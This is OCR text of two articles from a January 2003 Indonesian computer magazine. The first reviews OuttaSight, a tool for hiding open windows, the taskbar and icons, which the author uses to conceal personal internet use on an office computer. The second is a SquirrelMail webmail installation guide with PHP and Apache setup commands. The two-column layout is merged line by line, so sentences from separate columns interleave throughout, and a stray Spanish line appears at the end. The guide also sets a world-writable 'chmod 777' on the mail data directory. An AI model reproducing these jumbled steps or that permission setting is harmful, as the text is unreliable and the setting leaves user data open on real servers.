dian saya menemukan sebuah program yang mampu
menonolong saya dari kesulitan tersebut, yaitu OuttaSight,
akses Internet, jengkel banget rasanya bila ada orang lain yang di buat oleh Chris Rosa (crosa@lhs.com). Dengan
ikut mengamati semua program aplikasi yang sedang no- program itulah, akhirnya saya bisa mengakses Internet
ngol di layar monitor komputer saya. Rasa itu, maksud tanpa harus merasa khawatir atau curiga ada orang lain
saya rasa jengkel itu, akan bertambah lagi bila kebetulan ikut “nimbrung” mengamati semua yang sedang saya
program yang saya jalankan adalah mIRC dan Internet kerjakan di komputer. Dan seandainya ada orang lain
Explorer. Karena bagi saya, kedua program tersebut amat yang secara sengaja maupun tidak sengaja ingin melihat
bersifat pribadi. Saya paling sangat tidak suka bila saat program-program aplikasi yang saya jalankan, maka saya
saya chatting dan menulis email, ada orang lain yang cukup mengklik tombol hidden di OuttaSight agar tidak
duduk di sebelah dan melihat semua yang saya ketik. terlihat oleh mereka. Dengan begitu mereka tidak akan
Saya pikir sah-sah saja bila saya merasa sebel dan jengkel, “nongkrong” di dekat saya.
karena seperti yang sudah saya katakan, mereka telah Bila anda tertarik dengan program tersebut, NeoTek telah
menganggu privasi saya! Namun, untuk menyuruh me- menyiapkannya dalam CD yang disertakan pada majalah
reka pergi, atau melarang mereka agar tidak mengamati ini. Atau anda juga bisa mengambilnya sendiri dari alamat
apa yang sedang/akan saya ketik, tentu saja bukan hal situs pembuatnya, di http://rosa.simplenet.com/oos.
yang gampang, mengingat fasilitas yang saya gunakan
adalah milik kantor (milik bersama). Ditambah lagi saya Menginstal Outtasight
telah menggunakan telepon untuk sesuatu yang sama Untuk menginstal OuttaSight, caranya gampang. Jalan-
sekali tidak ada hubungannya dengan pekerjaan kantor. kan file SETUP.EXE, kemudian klik tombol Next seba-
Akhirnya, daripada saya “makan hati” karena terus nyak 2X. Sesaat kemudian anda akan ditanya, ke dalam
“dikerubuti” mereka, maka saya minimize-kan saja ke folder mana program akan diinstal, default-nya adalah di
dua buah aplikasi tersebut, lalu pura-pura menjalankan C:\Program Files\Oos. Jika anda tidak ingin mengubah
Microsoft Word dan Excel, dengan harapan mereka cepat direktori default tersebut, klik tombol Next sebanyak 2X
merasa bosan dan segera pergi ke ruangannya masing- untuk segera memulai proses instalasi, lalu tunggu bebe-
masing. Tapi apa yang terjadi? Bukannya pergi, mereka rapa saat sampai proses instalasi selesai.
malah semakin merapatkan kursinya masing-masing ke
dekat kursi saya. Dan sialnya lagi, mimik muka mereka Menjalankan Outtasight
sepertinya menyiratkan rasa penasaran (menunggu) Sama seperti menginstalnya, OuttaSight juga sangat
kapan saatnya saya mengklik (me-restore) ke dua buah mudah dioperasikan. Untuk menjalankannya, klik tombol
ikon aplikasi tersebut (Internet Explorer dan mIRC).
Setelah beberapa kali mengalami hal seperti itu, akhirnya
saya sadar, bahwa selama ikon Dial-Up yang ada di pojok
kiri sebelah bawah layar monitor masih kelihatan berke-
dip-kedip, menandakan adanya aktifitas ke Internet, maka
tidak akan ada gunanya saya me-minimize-kan semua
jendela program. Buktinya, setelah saya memutuskan
koneksi telepon ke ISP, barulah setelah itu mereka mau
beranjak dari tempat duduknya masing-masing dan me-
ninggalkan saya sendirian. Namun, meskipun cara itu
bisa dikatakan “manjur,” ternyata banyak juga kelemah-
annya, karena saya harus melakukan dial-up ulang ke ISP
untuk menghubungkan program mIRC dan Internet
Explorer yang sempat terputus tadi ke servernya masing-
masing. Bayangkan, jika saja dalam setiap 1-2 jam saya
harus melakukan proses itu berulang-ulang, berapa lama
waktu yang sudah saya buang dengan percuma? Belum
lagi ditambah dengan koneksi modem telepon yang gagal
terhubung ke modem ISP. Alhasil, karena tangan sudah
“pegal,” maka email pun tidak jadi terkirim, nyebelin • Tahap awal instalasi dan proses instalasi.

Januari 2003 NeoTek 45


NeoStyle

• Memasukkan kata sandi pada Outtasight.


Pada saat anda mengklik tombol OK, maka seketika itu juga
program OuttaSight akan di-minimize-kan. Dan jika anda
ingin mengaksesnya kembali, double klik ikon OuttaSight
yang terletak di pojok kanan sebelah bawah layar monitor,
lalu ketikkan kata sandi yang anda masukkan sebelumnya.
• Daftar program aplikasi yang siap untuk disembunyikan.
Dan perlu anda ketahui, OuttaSight dirancang tidak ha-
menu Start → Programs → OuttaSight → OuttaSight v2.63. nya untuk sekedar bisa menyembunyikan ikon atau
Pada saat pertama kali program tersebut muncul, Outta- program-program aplikasi yang sedang kita jalankan saja.
Sight akan segera membaca program-program aplikasi Beberapa hal penting lainnya yang bisa anda manfaatkan
yang sedang aktif (dijalankan) di komputer kita, dan mem- dari program ini adalah:
visualisasi masing-masing ikon-nya ke dalam jendela atau • Menyembunyikan Taskbar.
kotak Visible Windows, seperti yang tampak pada di atas. • Menyembunyikan System tray (Systray).
Kemudian tentukanlah program atau aplikasi yang akan • Menyembunyikan Tombol Start.
anda sembunyikan dengan cara mengklik 2X klik nama • Menyembunyikan salah satu atau semua icon di layar
programnya, atau bisa dengan cara mengklik ikon “Hide desktop.
selected windows.” Sesaat kemudian program akan lang- • Mengubah jenis huruf (font) MS Windows.
sung berpindah ke dalam jendela Invisible Windows, se- • Menyembunyikan modul program atau file-file secara
perti yang terlihat pada gambar berikut. parsial.

• Daftar program aplikasi yang telah disembunyikan.

Agar orang lain tidak mudah memunculkan (unhide) kem- • Fungsi lain yang juga dapat disembunyikan.
bali program-program aplikasi yang telah anda sembunyi-
kan tadi, sebaiknya anda mengunci program OuttaSight. Untuk mempermudah akses ke dalam program OuttaSight,
Namun sebelum itu anda harus membuat terlebih dahulu termasuk akses ke masing-masing fungsi yang terdapat di
kata sandinya dengan mengklik icon “Lock OuttaSight.” dalamnya, ada baiknya anda membuat tombol pintas (hot
keys). Dengan begitu, maka anda tidak harus selalu meng-
andalkan mouse. OuttaSight mengizinkan kita untuk
bebas memilih perintah hot key yang gampang diingat.

• Membuat kata sandi pada Outtasight. • Daftar program aplikasi yang telah disembunyikan.

46 NeoTek Januari 2003


NeoTekno

Webmail Server di Linux


SQU I RRE LMAI L
PHP dapat pula diaplikasikan menjadi webmail server seperti pada SquirrelMail yang mendukung
protokol POP, IMAP dan SMTP. Asmuri Anwar (asmuri@persda.co.id) membahasnya untuk anda.

QUIRRELMAIL ADALAH SALAH SATU PAKET webmail • Kemudian edit file php.ini dan perhatikan baris
S standar yang ditulis dalam bahasa pemrograman
PHP4. Pemrograman PHP-nya sudah mendukung
session.use_cookies, berikan nilai 1 pada directive
tersebut. Pastikan juga untuk mengubah
protokol POP, IMAP, dan SMTP, dan seluruh halamannya session.save_path ke direktori lain yang dapat dibaca dan
di-render ke dalam HTML (tanpa JavaScript) untuk me- ditulisi oleh webserver. session.save_path ini merupakan
maksimalkan penampilan saat di-browse. Instalasi dan lokasi di mana sesi-sesi data PHP dapat ditulisi.
konfigurasinya pun tidak terlalu sulit. Perhatian: Bila seorang user yang dapat mengakses
Di dalam paket SquirrelMail akan anda dapati seluruh tulis ke PHP skrip di sistem anda dan tahu di mana
fungsi email, termasuk dukungan MIME, address book, diletakkan session data PHP, ia akan dapat mengambil
dan manipulasi folder atau directory, dan sebagainya. listing session data tersebut dan dapat disalahgunakan
Asyiknya lagi, versi terbaru SquirrelMail menyertakan dengan memberikan isi skrip tersebut kepada orang
bahasa Indonesia dalam modul-modul skripnya. lain. Karena itu, perlu disetting permission dan lokasi di
mana php.ini anda letakkan sebelumnya.
Mengaktifkan Modul PHP4 pada Webserver • Selanjutnya, setting pula file-file .php jika perlu untuk
Jika sebelumnya webserver anda tidak mendukung aplikasi menyesuaikan dengan PHP4 dengan membuat sebuah
PHP, sebaiknya dikonfigurasi ulang dengan menyertakan file .htaccess pada direktori SquirrelMail anda.
modul-modul PHP, sebab SquirrelMail mendukung PHP Tambahkan baris-baris berikut:
dalam penulisan skripnya. Dalam artikel ini penulis meng- AddType application/php4script .php
instal PHP versi 4.2.1 dengan webserver Apache 1.3.2. Action application/php4script /cgi-bin/php
Untuk menginstal paket PHP dari binary rpm pada CD- Atau dapat pula Anda tambahkan pada file konfigurasi
ROM instalasi Linux anda, ikuti langkah-langkah berikut: Apache. Selain itu, beberapa aplikasi pendukung mail
• Jika belum login sebagai root, loginlah sebagai root dan seperti sendmail, fetchmail, imap, ipop, dan lainnya
cek apakah paket rpm sudah terinstalasi atau belum. perlu ditambahkan jika sebelumnya tidak ada.
[root@server RPMS]$ rpm -q php Mengenai cara membuat mail server di Linux sudah
pernah dibahas di majalah NeoTek edisi Maret 2002.
Jika tidak terdapat pesan apa-apa berarti anda dapat
menginstalasi paket tersebut. Namun bila ditemukan Download dan Instalasi SquirrelMail
instalasi sebelumnya, hapuslah dengan perintah: SquirrelMail dapat di-download dari www.squirrelmail.org.
[root@server RPMS]$ rpm -e php Dalam contoh artikel ini saya menggunakan SquirrelMail
• Lalu instal ulang paket tersebut dengan mengetikkan: versi 1.2.7 (squirrelmail-1.2.7.tar.gz). Kemudian simpan
di direktori /usr/local/src. Ekstrak file tersebut kemudian
[root@server RPMS]$ rpm -ivh php-4.1.2-2.i586.rpm pindahkan direktorinya ke direktori di mana file-file
atau anda dapat mendowload source tar.gz dari situs .html anda diletakkan, biasanya pada direktori
www.php.net/version4. Simpan hasil download di /var/www/html/ atau /home/namauser/
direktori /usr/local/src. Untar dengan perintah:
• tar zxvf squirrelmail-1.2.7.tar.gz
[root@server src]$ tar zxvf php-4.2.1.tgz • mv squirrelmail-1.2.7 /var/www/html/webmail
[root@server src]$ cd php-4.2.1/
• cd /var/www/html/webmail
Agar PHP dapat bekerja bersama SquirrelMail, • ./configure
tambahkan perintah berikut: Dalam contoh di atas, saya ubah nama direktori squirrel-
[root@server src]$ ./configure --enable-track-vars\--enable- mail-1.2.7 menjadi direktori webmail, hanya untuk
force-cgi-redirect --with-gettext
memudahkan pengetikannya saja.
Jika anda sebelumnya pernah menginstal aplikasi data- Berbeda dengan konfigurasi aplikasi lain, SquirrelMail
base, misalnya MySQL, Anda perlu menambahkan opsi lebih interaktif, sehingga dapat dikonfigurasi berdasarkan
--with-mysql pada saat melakukan ./configure untuk
keinginan. SquirrelMail menggunakan dua direktori untuk
berhubungan dengan database MySQL. menyimpan file user konfigurasinya dan disertakan. Di-
[root@server src]$ make rektori data untuk menyimpan user prefencences, seperti
Secara default, PHP akan melihat konfigurasinya pada tanda tangan, nama, dan theme email dan direktori config
file php.ini, biasanya ada di direktori /etc/php.ini atau untuk mengkonfigurasikan server seperti smtp, pop,
/usr/local/lib/php.ini. Namun, untuk alasan keamanan imap, nama server, interface webmail, dan sebagainya.
sebaiknya pindahkan lokasi file tersebut ke direktori lain.

Januari 2003 NeoTek 47


NeoTekno

KONFIGURASI UTAMA DIREKTORI DATA USER HALAMAN UTAMA WEBMAIL


1 Menu konfigurasi utama ini
berisi beberapa submenu untuk
4 Di bagian General Options, pilih
submenu Data Directory dan isi-
6 Setelah berhasil login, akan
tampil halaman web default dari
konfigurasi SquirrelMail. Hanya kan direktori di mana Anda akan SquirrelMail dan siap
menyimpan data setiap user, da-
beberapa konfigurasi saja yang dipergunakan untuk mengirim
lam contoh di atas data user akan
perlu, terutama Organization disimpan di dalam direktori email ke teman Anda dengan
Prefences, Server Settings, dan /var/www/html/webmail/data. nama domain Anda sendiri.
General Settings saja. Direktori data yang berada di
bawah direktori webmail adalah
direktori default, bisa saja anda
meletakkannya di direktori lain.
Simpan hasil perubahan yang
anda buat. Pilih submenu Save
data atau tekan tombol S
Untuk memberikan hak kepemi-
likan user terhadap direktori
data di atas ketikkan perintah-
perintah berikut:
[root@server webmail]$ chown -
R nobody data
[root@server webmail]$ chgrp -
R nobody data
MENGIRIM EMAIL
7
[root@server webmail]$ chmod
ORGANIZATION PREFERENCES 777 data Sekarang cobalah untuk mengi-
2 Pada bagian ini tidak banyak
diubah karena tidak berkenaan
Sampai di sini selesai sudah kon-
figurasi SquirrelMail. Untuk men-
rimkan sebuah email ke salah
satu user yang ada di
dengan proses jalannya Squir- coba berhasil tidaknya aplikasi /etc/passwd atau bila anda
relMail, hanya perlu mengubah tersebut cobalah browse dari terhubung ke Internet masukkan
nama organisasi dan logo orga- browser komputer klien atau pula salah satu alamat email
dari server sendiri ke http:// anda atau teman anda untuk
nisasi bila ada. Untuk mengubah domain-anda.com/webmail/
interface bahasa ke dalam baha- mencoba langsung ke Internet,
sa Indonesia juga disertakan Bila tidak ada kesalahan berarti misalnya saya kirimkan ke
dalam versi ini, dapat disetting instalasi sudah berhasil dan kini redaksi@neotek.co.id. Klik Send
anda sudah mempunyai bila sudah siap dikirim.
pada bagian Default Language. webmail client sendiri.

KONFIGURASI UTAMA
3 Bagian ini adalah bagian terpen-
ting dari konfigurasi SquirrelMail,
karena menyangkut bisa tidak- WEBMAIL LOGIN ACCOUNT MENGAMBIL EMAIL
nya aplikasi tersebut dijalankan.
Pada bagian Domain, isikan
5 Untuk memastikan tidak ada
kesalahan dalam konfigurasi
8 Untuk mencek sampai tidaknya
email yang dikirim tadi, coba
nama domain Anda, misalnya sebelumnya, lakukan log in login sebagai user yang dikirimi
server.neotek.org, begitu juga sebagai salah satu user yang email, bila ternyata email tadi
terdaftar pada file /etc/passwd, telah sampai akan terlihat pada
pada bagian IMAP Server dan INBOX-nya. Begitu pula dengan
SMTP Server, isikan sesuai bila terdapat beberapa
kesalahan lihat apa email yang dikirimkan melalui
dengan nama SMTP server, kesalahannya dan perbaiki. Internet. Tanyakan ke temanbila
misalnya smtp.neotek.org. anda mengirimi teman.

48 NeoTek Januari 2003


NeoTekno

ISI EMAIL KIRIMAN BAHASA INDONESIA MENGUBAH DATA PRIBADI


9 Kebetulan dalam contoh di atas
saya hanya mengirimkan ke sa-
10 Pada saat konfigurasi sebelum-
nya anda belum menentukan
11 Untuk mengubah data pribadi
pilih submenu Data Diri dan
lah satu user yang terdaftar di bahasa pengantarnya. Pada sub- isikan Nama Lengkap, Alamat
server saya, yaitu feranita@ menu Display Prefences → Lan- Surat-E (alamat email) anda
server.neotek.org dan mencoba guage → pilih Indonesia → klik sekarang, dan bila ingin si
melihat isi email. Ternyata benar, Submit untuk menyimpan peru- terkirim membalas email anda
kini sudah dapat berkomunikasi bahan yang baru dilakukan. Saat bisa diarahkan/di-forward ke
lewat webmail walaupun hanya itu juga, akan tampil halaman email lain dengan mengisi
dalam lingkungan jaringan webmail dalam bahasa Indonesia. bagian Balasan ke, dan tanda
internal saja. tangan anda.

Iklan VisionNet
17,6 x 12 cm

También podría gustarte